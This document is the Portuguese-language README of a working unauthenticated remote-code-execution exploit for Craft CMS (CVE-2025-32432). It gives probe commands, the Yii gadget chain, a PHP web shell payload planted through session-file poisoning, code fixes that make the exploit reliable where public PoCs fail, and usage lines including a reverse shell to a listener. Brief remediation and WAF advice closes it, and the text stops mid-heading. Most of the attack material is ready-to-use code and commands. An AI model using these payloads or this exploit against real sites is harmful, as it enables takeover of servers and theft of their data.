CVE-2025-32432 — Craft CMS <= 5.6.16 RCE Não Autenticado

Severidade: Crítica (CVSS 10.0) Autenticação necessária: Nenhuma Afetado: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Corrigido em: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50

---

Identificar (Como Confirmar que o Alvo é Vulnerável)

Antes de explorar, confirme que o alvo está executando uma versão vulnerável do Craft CMS.

Passo 1 — Identificar a versão do Craft CMS

curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms

Passo 2 — Sondar o endpoint vulnerável (verificação de acesso anônimo)

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://target/cms/actions/assets/generate-transform \
  -H "Content-Type: application/json" \
  -d '{"assetId":1,"handle":{"width":1,"height":1}}'

• HTTP 400 = endpoint existe (Craft está em execução), CSRF ausente
• HTTP 404 = não é Craft ou caminho errado
• HTTP 500 = gadget disparado (assetId válido, endpoint acessível)

Passo 3 — Confirmar com varredura de assetId

python3 exploit.py -u http://target/cms -c "id"

Se a saída contiver uid= o alvo está confirmado como vulnerável e o RCE foi alcançado.

---

Causa Raiz

AssetsController::actionGenerateTransform() é declarado como allowAnonymous, tornando-o acessível sem autenticação. Ele passa o parâmetro handle controlado pelo usuário diretamente para Yii::createObject():

protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

O contêiner DI do Yii trata duas chaves de array especiais sem qualquer allow-list:

Chave	Comportamento
__class	Instanciar esta classe em vez do tipo declarado
__construct()	Passar estes valores como argumentos do construtor

Cadeia de gadget:

handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

Envenenamento do arquivo de sessão fecha o ciclo: o PHP armazena parâmetros GET literalmente em /tmp/sess_<CraftSessionId>. Plantar <?=shell_exec($_GET['cmd']);exit;?> lá concede RCE.

---

Por Que os PoCs Públicos Existentes Falham

1. A codificação de URL destrói o payload PHP

Problema raiz: O requests do Python codifica <, >, ?, = antes de enviar. O manipulador de sessão do PHP armazena os bytes percent-encoded — não PHP executável.

Payload codificado (QUEBRADO — o que o requests realmente envia na rede)

GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.

Payload não codificado (CORRIGIDO — o que enviamos após o monkey-patching)

GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1

# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.

Correção: Faça monkey-patch em HTTPConnectionPool._make_request — o último ponto antes do TCP — e chame urllib.parse.unquote() lá:

def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # restore < > ? = just before socket write
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. Nome de cookie de sessão errado

O padrão: O cookie de sessão padrão do PHP é PHPSESSID. O Craft CMS substitui isso em sua configuração de aplicação:

// craft/config/app.php (Craft CMS source)
'session' => [
    'class' => craft\web\Session::class,
    'cookieName' => 'CraftSessionId',   // <-- custom name, NOT PHPSESSID
],

Isso significa que o arquivo de sessão no disco é /tmp/sess_<CraftSessionId>, não /tmp/sess_<PHPSESSID>.

Comparação de cookies

Propriedade	Padrão do PHP	Craft CMS
Nome do cookie	PHPSESSID	CraftSessionId
Arquivo de sessão	/tmp/sess_abc123	/tmp/sess_abc123
Como ler	session.cookies.get("PHPSESSID")	session.cookies.get("CraftSessionId")
O que acontece se errado	None retornado	caminho itemFile aponta para arquivo inexistente
Resultado	exploit falha silenciosamente	sem erro — require() simplesmente falha

# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_None" — does not exist

# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file  = f"/tmp/sess_{session_id}"   # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"

Você pode verificar o nome correto do cookie inspecionando o DevTools do navegador após visitar qualquer página do Craft, ou verificando o cabeçalho de resposta Set-Cookie:

curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly

3. Token CSRF ausente na requisição de disparo

O Craft valida tokens CSRF em todas as ações POST não anônimas. Omitir o token causa 400 Bad Request.

# BROKEN
requests.post(url, json=payload)

# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

Tabela de comparação

Problema	PoCs de envenenamento de log	Sessão (cookie errado)	Sessão (sem CSRF)	Este PoC
Codificação de URL	N/A (User-Agent)	QUEBRADO	QUEBRADO	CORRIGIDO com monkey-patch
Nome do cookie	N/A	QUEBRADO PHPSESSID	QUEBRADO PHPSESSID	CORRIGIDO CraftSessionId
CSRF no disparo	OK	OK	QUEBRADO	CORRIGIDO
exit; de log obsoleto	QUEBRADO	N/A	N/A	N/A
Funciona no prefixo /cms	QUEBRADO	QUEBRADO	QUEBRADO	CORRIGIDO

---

Uso

usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          Craft CMS base URL including path prefix
  -c CMD          Shell command to execute
  -a ASSET_ID     Known valid assetId (skips auto-scan)
  -s SCAN_MAX     Upper bound for assetId scan (default: 50)
  --revshell      Send a Python3 reverse shell
  --lhost LHOST   Listener IP (required with --revshell)
  --lport LPORT   Listener port (required with --revshell)

python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

---

Remediação

Ação	Detalhe
Atualizar Craft CMS	3.9.15 / 4.14.15 / 5.6.17 valida que handle implementa ImageTransformerInterface
Atualizar Yii2	2.0.50 bloqueia injeção de __class em Component::__set
Regra WAF	Bloquear __class ou __construct() no corpo da requisição para /actions/assets/generate-transform

---

Correção / Mitigação (Guia Operacional do Blue Team)

Tabela de Patches